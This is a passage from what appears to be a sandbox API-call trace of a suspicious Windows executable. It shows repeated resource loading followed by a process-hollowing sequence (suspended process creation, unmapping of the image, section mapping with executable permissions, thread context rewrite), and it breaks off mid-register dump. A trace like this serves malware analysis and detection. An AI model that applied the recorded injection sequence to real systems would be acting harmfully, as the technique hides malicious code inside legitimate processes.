dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.418] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.418] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.418] FindResourceW (hModule=0x400000, lpName=0x2a0, lpType=0x2) returned 0x473288 [0066.418] SizeofResource (hModule=0x400000, hResInfo=0x473288) returned 0x529 [0066.418] LoadResource (hModule=0x400000, hResInfo=0x473288) returned 0x486a04 [0066.418] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.419] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.419] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.419] FindResourceW (hModule=0x400000, lpName=0x2a1, lpType=0x2) returned 0x473298 [0066.419] SizeofResource (hModule=0x400000, hResInfo=0x473298) returned 0x529 [0066.419] LoadResource (hModule=0x400000, hResInfo=0x473298) returned 0x486f30 [0066.419] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.419] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.419] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.419] FindResourceW (hModule=0x400000, lpName=0x2a2, lpType=0x2) returned 0x4732a8 [0066.419] SizeofResource (hModule=0x400000, hResInfo=0x4732a8) returned 0x529 [0066.419] LoadResource (hModule=0x400000, hResInfo=0x4732a8) returned 0x48745c [0066.419] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.419] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.420] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.420] FindResourceW (hModule=0x400000, lpName=0x2a3, lpType=0x2) returned 0x4732b8 [0066.420] SizeofResource (hModule=0x400000, hResInfo=0x4732b8) returned 0x529 [0066.420] LoadResource (hModule=0x400000, hResInfo=0x4732b8) returned 0x487988 [0066.420] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.420] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.420] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.420] FindResourceW (hModule=0x400000, lpName=0x2a4, lpType=0x2) returned 0x4732c8 [0066.420] SizeofResource (hModule=0x400000, hResInfo=0x4732c8) returned 0x529 [0066.420] LoadResource (hModule=0x400000, hResInfo=0x4732c8) returned 0x487eb4 [0066.420] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.420] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.421] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.421] FindResourceW (hModule=0x400000, lpName=0x2a5, lpType=0x2) returned 0x4732d8 [0066.421] SizeofResource (hModule=0x400000, hResInfo=0x4732d8) returned 0x529 [0066.421] LoadResource (hModule=0x400000, hResInfo=0x4732d8) returned 0x4883e0 [0066.421] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.421] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.421] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.421] FindResourceW (hModule=0x400000, lpName=0x2a6, lpType=0x2) returned 0x4732e8 [0066.421] SizeofResource (hModule=0x400000, hResInfo=0x4732e8) returned 0x529 [0066.421] LoadResource (hModule=0x400000, hResInfo=0x4732e8) returned 0x48890c [0066.421] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.421] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.421] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.421] FindResourceW (hModule=0x400000, lpName=0x2a7, lpType=0x2) returned 0x4732f8 [0066.421] SizeofResource (hModule=0x400000, hResInfo=0x4732f8) returned 0x529 [0066.421] LoadResource (hModule=0x400000, hResInfo=0x4732f8) returned 0x488e38 [0066.421] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.422] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.422] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.422] FindResourceW (hModule=0x400000, lpName=0x2a8, lpType=0x2) returned 0x473308 [0066.422] SizeofResource (hModule=0x400000, hResInfo=0x473308) returned 0x529 [0066.422] LoadResource (hModule=0x400000, hResInfo=0x473308) returned 0x489364 [0066.422] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.422] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.422] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.422] FindResourceW (hModule=0x400000, lpName=0x2a9, lpType=0x2) returned 0x473318 [0066.422] SizeofResource (hModule=0x400000, hResInfo=0x473318) returned 0x529 [0066.422] LoadResource (hModule=0x400000, hResInfo=0x473318) returned 0x489890 [0066.422] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.423] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.423] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.423] FindResourceW (hModule=0x400000, lpName=0x2aa, lpType=0x2) returned 0x473328 [0066.423] SizeofResource (hModule=0x400000, hResInfo=0x473328) returned 0x529 [0066.423] LoadResource (hModule=0x400000, hResInfo=0x473328) returned 0x489dbc [0066.423] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.423] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.423] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.423] FindResourceW (hModule=0x400000, lpName=0x2ab, lpType=0x2) returned 0x473338 [0066.423] SizeofResource (hModule=0x400000, hResInfo=0x473338) returned 0x529 [0066.423] LoadResource (hModule=0x400000, hResInfo=0x473338) returned 0x48a2e8 [0066.423] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.424] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.424] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.424] FindResourceW (hModule=0x400000, lpName=0x2ac, lpType=0x2) returned 0x473348 [0066.424] SizeofResource (hModule=0x400000, hResInfo=0x473348) returned 0x529 [0066.424] LoadResource (hModule=0x400000, hResInfo=0x473348) returned 0x48a814 [0066.424] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.424] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.424] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.424] FindResourceW (hModule=0x400000, lpName=0x2ad, lpType=0x2) returned 0x473358 [0066.424] SizeofResource (hModule=0x400000, hResInfo=0x473358) returned 0x529 [0066.424] LoadResource (hModule=0x400000, hResInfo=0x473358) returned 0x48ad40 [0066.424] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.424] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.425] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.425] FindResourceW (hModule=0x400000, lpName=0x2ae, lpType=0x2) returned 0x473368 [0066.425] SizeofResource (hModule=0x400000, hResInfo=0x473368) returned 0x529 [0066.425] LoadResource (hModule=0x400000, hResInfo=0x473368) returned 0x48b26c [0066.425] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.425] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.425] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.425] FindResourceW (hModule=0x400000, lpName=0x2af, lpType=0x2) returned 0x473378 [0066.425] SizeofResource (hModule=0x400000, hResInfo=0x473378) returned 0x529 [0066.425] LoadResource (hModule=0x400000, hResInfo=0x473378) returned 0x48b798 [0066.425] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.425] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.425] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.425] FindResourceW (hModule=0x400000, lpName=0x2b0, lpType=0x2) returned 0x473388 [0066.425] SizeofResource (hModule=0x400000, hResInfo=0x473388) returned 0x529 [0066.425] LoadResource (hModule=0x400000, hResInfo=0x473388) returned 0x48bcc4 [0066.426] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.426] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.426] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.426] FindResourceW (hModule=0x400000, lpName=0x2b1, lpType=0x2) returned 0x473398 [0066.426] SizeofResource (hModule=0x400000, hResInfo=0x473398) returned 0x529 [0066.426] LoadResource (hModule=0x400000, hResInfo=0x473398) returned 0x48c1f0 [0066.426] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.426] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.426] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.426] FindResourceW (hModule=0x400000, lpName=0x2b2, lpType=0x2) returned 0x4733a8 [0066.426] SizeofResource (hModule=0x400000, hResInfo=0x4733a8) returned 0x529 [0066.426] LoadResource (hModule=0x400000, hResInfo=0x4733a8) returned 0x48c71c [0066.426] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.427] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.427] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.427] FindResourceW (hModule=0x400000, lpName=0x2b3, lpType=0x2) returned 0x4733b8 [0066.427] SizeofResource (hModule=0x400000, hResInfo=0x4733b8) returned 0x529 [0066.427] LoadResource (hModule=0x400000, hResInfo=0x4733b8) returned 0x48cc48 [0066.427] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.427] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.427] VirtualAlloc (lpAddress=0x0, dwSize=0x16a00, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.429] GetCommandLineW () returned="\"C:\\Users\\EEBsYm5\\Desktop\\3838612080743901967.exe\" " [0066.429] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"C:\\Users\\EEBsYm5\\Desktop\\3838612080743901967.exe\" ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x12f990*(cb=0x0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x12f9ec | out: lpCommandLine="\"C:\\Users\\EEBsYm5\\Desktop\\3838612080743901967.exe\" ", lpProcessInformation=0x12f9ec*(hProcess=0xd0, hThread=0xcc, dwProcessId=0xa4c, dwThreadId=0xa50)) returned 1 [0066.432] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x4) returned 0x5f0000 [0066.433] GetThreadContext (in: hThread=0xcc, lpContext=0x5f0000 | out: lpContext=0x5f0000*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x3b, SegEs=0x23, SegDs=0x23, Edi=0x0, Esi=0x0, Ebx=0x7ffdf000, Edx=0x0, Ecx=0x0, Eax=0x462b38, Ebp=0x0, Eip=0x77f07098, SegCs=0x1b, EFlags=0x200, Esp=0x12fff0, SegSs=0x23, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 1 [0066.433] NtUnmapViewOfSection (ProcessHandle=0xd0, BaseAddress=0x400000) returned 0x0 [0066.433] NtCreateSection (in: SectionHandle=0x12f9fc, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x12f760, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x12f9fc*=0xd8) returned 0x0 [0066.433] NtMapViewOfSection (in: SectionHandle=0xd8, ProcessHandle=0xffffffff, BaseAddress=0x12fa04*=0x0, ZeroBits=0x0, CommitSize=0x19000, SectionOffset=0x0, ViewSize=0x12f760*=0x0, InheritDisposition=0x2, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x12fa04*=0x1310000, SectionOffset=0x0, ViewSize=0x12f760*=0x19000) returned 0x0 [0066.433] NtMapViewOfSection (in: SectionHandle=0xd8, ProcessHandle=0xd0, BaseAddress=0x12f9e0*=0x400000, ZeroBits=0x0, CommitSize=0x19000, SectionOffset=0x0, ViewSize=0x12f760*=0x0, InheritDisposition=0x2, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x12f9e0*=0x400000, SectionOffset=0x0, ViewSize=0x12f760*=0x19000) returned 0x0 [0066.435] NtCreateSection (in: SectionHandle=0x12fa00, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x12f760, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x12fa00*=0xd4) returned 0x0 [0066.435] NtMapViewOfSection (in: SectionHandle=0xd4, ProcessHandle=0xd0, BaseAddress=0x12f9e8*=0x0, ZeroBits=0x0, CommitSize=0x1000, SectionOffset=0x0, ViewSize=0x12f760*=0x0, InheritDisposition=0x2, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x12f9e8*=0x140000, SectionOffset=0x0, ViewSize=0x12f760*=0x1000) returned 0x0 [0066.436] NtMapViewOfSection (in: SectionHandle=0xd4, ProcessHandle=0xffffffff, BaseAddress=0x12f9d8*=0x0, ZeroBits=0x0, CommitSize=0x1000, SectionOffset=0x0, ViewSize=0x12f760*=0x0, InheritDisposition=0x2, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x12f9d8*=0x1330000, SectionOffset=0x0, ViewSize=0x12f760*=0x1000) returned 0x0 [0066.436] SetThreadContext (hThread=0xcc, lpContext=0x5f0000*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x3b, SegEs=0x23, SegDs=0x23, Edi=0x0, Esi=0x0, Ebx=0x7ffdf000, Edx=0x0, Ecx=0x0, Eax=0x410621, Ebp=0x0, Eip=0x77f07098, SegCs=0x1b, EFlags=0x200, Esp=0x12fff0, SegSs=0x23, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, 